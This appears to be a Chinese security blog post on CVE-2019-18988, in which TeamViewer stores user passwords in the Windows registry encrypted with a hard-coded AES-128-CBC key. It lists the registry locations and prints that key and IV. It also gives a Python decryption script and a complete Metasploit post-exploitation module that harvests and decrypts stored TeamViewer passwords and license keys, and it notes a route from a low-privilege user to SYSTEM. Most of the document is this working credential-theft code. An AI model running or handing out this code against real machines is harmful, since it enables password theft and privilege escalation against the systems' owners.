CVE-2019-18988 teamviewer将用户名密码硬编码至注册表中
TeamViewer stored user passwords encrypted with AES-128-CBC with they key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. If the password is reused anywhere, privilege escalation is possible. If you do not have RDP rights to machine but TeamViewer is installed, you can use TeamViewer to remote in. TeamViewer also lets you copy data or schedule tasks to run through their Service, which runs as NT AUTHORITY\SYSTEM, so a low privilege user can immediately go to SYSTEM with a .bat file. This was assigned CVE-2019-18988.
存放的注册表位置如下
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
[ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
[ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
]
解密代码如下
import sys, hexdump, binascii
from Crypto.Cipher import AES
class AESCipher:
def __init__(self, key):
self.key = key
def decrypt(self, iv, data):
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self.cipher.decrypt(data)
key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe" # output from the registry
ciphertext = binascii.unhexlify(hex_str_cipher)
raw_un = AESCipher(key).decrypt(iv, ciphertext)
print(hexdump.hexdump(raw_un))
password = raw_un.decode('utf-16')
print(password)
msf 模块如下
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather TeamViewer Passwords',
'Description' => %q{ This module will find and decrypt stored TeamViewer keys },
'License' => MSF_LICENSE,
'Author' => [ 'Nic Losby '],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def app_list
results = ""
keys = [
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
[ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
[ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
]
keys.each do |keyx86|
#parent key
p = keyx86[0,1].join
#child key
c = keyx86[1,1].join
key = nil
keychunk = registry_getvaldata(p, c)
key = keychunk.unpack("C*") if not keychunk.nil?
optpass = registry_getvaldata(p, "OptionsPasswordAES")
secpass = registry_getvaldata(p, "SecurityPasswordAES")
secpasse = registry_getvaldata(p, "SecurityPasswordExported")
servpass = registry_getvaldata(p, "ServerPasswordAES")
proxpass = registry_getvaldata(p, "ProxyPasswordAES")
license = registry_getvaldata(p, "LicenseKeyAES")
if not optpass.nil?
decvalue = decrypt(optpass)
if not decvalue.nil?
print_good("Found Options Password: #{decvalue}")
results << "Options:#{decvalue}\n"
end
end
if not secpass.nil?
decvalue = decrypt(secpass)
if not decvalue.nil?
print_good("Found Security Password: #{decvalue}")
results << "Security:#{decvalue}\n"
end
end
if not secpasse.nil?
decvalue = decrypt(secpasse)
if not decvalue.nil?
print_good("Found Security Password Exported: #{decvalue}")
results << "SecurityE:#{decvalue}\n"
end
end
if not servpass.nil?
decvalue = decrypt(servpass)
if not decvalue.nil?
print_good("Found Server Password: #{decvalue}")
results << "Server:#{decvalue}\n"
end
end
if not proxpass.nil?
decvalue = decrypt(proxpass)
if not decvalue.nil?
print_good("Found Proxy Password: #{decvalue}")
results << "Proxy:#{decvalue}\n"
end
end
if not license.nil?
decvalue = decrypt(license)
if not decvalue.nil?
print_good("Found License Key: #{decvalue}")
results << "License:#{decvalue}\n"
end
end
end
#Only save data to disk when there's something in the table
if not results.empty?
path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
print_good("Passwords stored in: #{path.to_s}")
end
end
def decrypt(encrypted_data)
password = ""
return password unless encrypted_data
password = ""
original_data = encrypted_data.dup
decoded = encrypted_data
#print_status(decoded)
key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
aes = OpenSSL::Cipher.new("AES-128-CBC")
begin
aes.decrypt
aes.key = key
aes.iv = iv
plaintext = aes.update(decoded)
password = Rex::Text.to_ascii(plaintext, 'utf-16le')
if plaintext.empty?
return nil
end
rescue OpenSSL::Cipher::CipherError => e
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
end
password
end
def run
print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
app_list
end
end